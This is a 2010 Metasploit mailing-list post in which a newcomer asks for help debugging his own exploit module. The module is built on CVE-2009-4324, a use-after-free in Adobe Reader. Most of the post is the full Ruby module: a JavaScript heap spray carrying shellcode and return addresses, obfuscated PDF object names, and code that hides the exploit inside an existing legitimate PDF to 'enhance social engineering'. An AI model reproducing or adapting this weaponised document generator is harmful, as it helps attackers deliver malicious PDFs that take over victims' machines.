Metasploit mailing list archives

adobe_media_newplayer Extension developpement


From: Thibault Magné <aemaeth.2501 () gmail com>
Date: Wed, 31 Mar 2010 10:55:43 -0400

Hi,

This is my first post, so apologize for my english (i'm french).
I recently (about 2 months) discovered this powerful tool called MSF.
Beginning reading docs, tutos and testing on my own (and getting Ruby
development basis, my background is more Java), I'm quite interested in PDF
exploit because in my opinion, they are very dangerous (popular exchange
format).

This make me interested in recent adobe_media_newplayer exploit.
I think I understand basically how it works, but I questioned myself on how
will it be possible to fill up the PDF (instead of getting an empty one).
This example may allow me to learn deeply ruby, with file editing, and adapt
an exploit to my needs.

End up with the introduction, and let's go for my problem :

My first idea was to give an input PDF file, and to add it the exploit.
So I studied the *adobe_media_newplayer.rb* crafting pdf part.
To help me, I found another PDF exploit, that adds up a payload to an
already crafted pdf file : *adobe_pdf_embedded_exe.rb*.

I began to develop my own exploit based on those two (See the end of this
email), but I'm confronted to many problems.
Note : All my tests were made on a basic "Hello World" pdf.

So here is my questions :

1. Why the xref_create method forget the first line (0000000000 6555 f) of
the xref table ?

2. Again, why xref_create method can't get the correct index : 1 9 instead
of 0 10 for example ?

3. When I tested on more complicated pdf files, I discovered some
inconsistencies.... that brings out the following question :

4. How could I improve the "solidity" of the code ?

5. Last but not least, have a look on my code : do I go in the right way ?

See you !


*adobe_media_newplayer_embedded.rb : *

##
# $Id: adobe_media_newplayer_embedded.rb 8190 2010-01-21 19:26:04Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
    #To fix
    Rank = GoodRanking

    include Msf::Exploit::PDF_Parse
    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Adobe Doc.media.newPlayer Use After Free
Vulnerability Extension',
            'Description'    => %q{
                This module exploits a use after free vulnerability in Adobe
Reader and Adobe Acrobat
                Professional versions up to and including 9.2.
                It adds the possibility to add the exploit into an existing
pdf document to enhance social engineering.
                Note : adobe_media_newplayer and adobe_pdf_embedded_exe
reingineering.
                Todo : allow to let INFILENAME void => adobe_media_newplayer
original exploit
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'unknown', # Found in the wild
                    # Metasploit version by:
                    'hdm',
                    'pusscat',
                    'jduck',
                    'aemaeth'
                ],
            'Version'        => '$Revision: 8190 $',
            'References'     =>
                [
                    [ 'CVE', '2009-4324' ],
                    [ 'BID', '37331' ],
                    [ 'OSVDB', '60980' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00",
                    'DisableNops'     => true
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # test results (on Windows XP SP3)
                    # reader 6.0.1 - vulnerable / doesn't work
                    # reader 7.0.5 - untested
                    # reader 7.0.8 - untested
                    # reader 7.0.9 - vulnerable / doesn't work
                    # reader 7.1.0 - untested
                    # reader 7.1.1 - untested
                    # reader 8.0.0 - untested
                    # reader 8.1.1 - works
                    # reader 8.1.2 - untested
                    # reader 8.1.3 - untested
                    # reader 8.1.4 - untested
                    # reader 8.1.5 - untested
                    # reader 8.1.6 - untested
                    # reader 9.0.0 - untested
                    # reader 9.1.0 - works
                    # reader 9.2 - works (no debugger, no DEP)
                    [ 'Adobe Reader Windows English (JS Heap Spray)',
                        {
                            'Size'        => (0x10000/2),
                            'Ret'       => 0x0c0c0c0c,
                        }
                    ],
                    [ 'Adobe Reader Windows German (JS Heap Spray)',
                        {
                            'Size'        => (0x10000/2),
                            'Ret'       => 0x0a0a0a0a,
                        }
                    ],
                ],
            'DisclosureDate' => 'Dec 14 2009',
            'DefaultTarget'  => 0))

        register_options(
             [
                OptString.new('FILENAME', [ true, 'The resultant file
name.',  'msf.pdf']),
                OptString.new('INFILENAME', [ true, 'The file name to add
exploit to.',  '']),
            ], self.class)

    end

    def exploit

        # Encode the shellcode.
        shellcode = Rex::Text.to_unescape(payload.encoded,
Rex::Arch.endian(target.arch))

        # Make some nops
        nops      = Rex::Text.to_unescape([target.ret].pack('V'))

        # Randomize variables
        len    = 72
        rand1  = rand_text_alpha(rand(100) + 1)
        rand2  = rand_text_alpha(rand(100) + 1)
        rand3  = rand_text_alpha(rand(100) + 1)
        rand4  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' +
'\1')
        rand5  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' +
'\1')

        vtbuf = [target.ret].pack('V') * 4
        vtbuf << rand_text_alpha(len - vtbuf.length)
        vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
        retstring  = Rex::Text.to_unescape(vtbuf)

        # The printd strings are 72 bytes (??)
        script = %Q|
            var #{rand1} = unescape("#{shellcode}");
            var #{rand2} = unescape("#{nops}");
            var #{rand3} = unescape("#{retstring}");

            while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
                #{rand2}=#{rand2}.substring(0,#{target['Size']} -
#{rand1}.length);

            memory=new Array();

            for(i=0;i<0x2000;i++) {
                memory[i]= #{rand2} + #{rand1};
            }

            util.printd("#{rand4}", new Date());
            util.printd("#{rand5}", new Date());
            try {this.media.newPlayer(null);} catch(e) {}
            util.printd(#{rand3}, new Date());
        |

        pdf = make_pdf(script,datastore['INFILENAME'])

        print_status("Creating '#{datastore['FILENAME']}' file...")
        #Print out the output
        file_create(pdf)

    end


    def RandomNonASCIIString(count)
        result = ""
        count.times do
            result << (rand(128) + 128).chr
        end
        result
    end

    #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    def nObfu(str)
        result = ""
        str.scan(/./u) do |c|
            if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
                result << "#%x" % c.unpack("C*")[0]
            else
                result << c
            end
        end
        result
    end


    def ASCIIHexWhitespaceEncode(str)
        result = ""
        whitespace = ""
        str.each_byte do |b|
            result << whitespace << "%02x" % b
            whitespace = " " * (rand(3) + 1)
        end
        result << ">"
    end


    def make_pdf(js,file_name)
        eol = "\x0d\x0a"

        stream = read_pdf()

        print_status("Parsing '#{file_name}'...")

        pdf_objects = parse_pdf(stream)

        print_status("Parsing Successful.")

        xref_trailers   = pdf_objects[0]
        trailers  = pdf_objects[1]
        startxrefs  = pdf_objects[2]
        root_obj  = pdf_objects[3]

        new_pdf = String.new()
        new_pdf << "%PDF-1.5" << eol

        new_pdf << "%" << RandomNonASCIIString(4) << eol

        #Catalog modification"
        catalog = parse_object(xref_trailers,root_obj,stream)
        if catalog.match(/OpenAction/m)
            match = catalog.match(/OpenAction (\d+ \d) R/m)
            if match
                new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m,
"OpenAction #{trailers[0].fetch("Size").to_i} 0 R")
            end
        else
            new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' +
"/OpenAction #{trailers[0].fetch("Size").to_i} 0 R")
        end

        if new_catalog
            new_pdf << new_catalog
        else
            print_status("Unable to parse catalog...")
        end

        #Rewriting original objects
        1.upto((trailers[0].fetch("Size").to_i) - 1) { |obj_num|
            if !("#{obj_num} 0" == root_obj)
            obj_name = "#{obj_num} 0"
            new_pdf << parse_object(xref_trailers,obj_name,stream)
            end
        }

        pdf_init_size = trailers[0].fetch("Size").to_i

        #Adding the exploit objects (2)

        new_pdf << "#{pdf_init_size} 0 obj" << eol
        new_pdf << nObfu("<</Type/Action/S/JavaScript/JS ") +
"#{pdf_init_size +1} 0 R >>"
        new_pdf << "endobj" << eol


        compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
        new_pdf << "#{pdf_init_size +1} 0 obj" << eol
        new_pdf << nObfu("<</Length
%s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
        new_pdf << "stream"<< eol
        new_pdf << compressed << eol
        new_pdf << "endstream"<< eol
        new_pdf << "endobj" << eol

        start_xrefs = new_pdf.length

        #Writing xrefs
        xrefs = xref_create(new_pdf,0,"*")
        new_pdf << "xref"<< eol
        new_pdf << xrefs

        #Writing trailer
        #Could could be done better
        new_pdf << "trailer" << eol << "<<" << eol
        pdf_objects[1][0].each { |key,val|
        if key == "Root"
            new_pdf << "/#{key} #{val} R" << eol
        else
            if key == "Size"
                size = (val.to_i + 2).to_s
                new_pdf << "/#{key} #{size}" << eol
            end
        end

        }
        new_pdf << ">>" << eol

        #Writing startxref
        new_pdf << "startxref" << eol
        new_pdf << start_xrefs.to_s << eol

        #Writing EOF
        new_pdf << "%%EOF"

        return new_pdf

    end

end
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: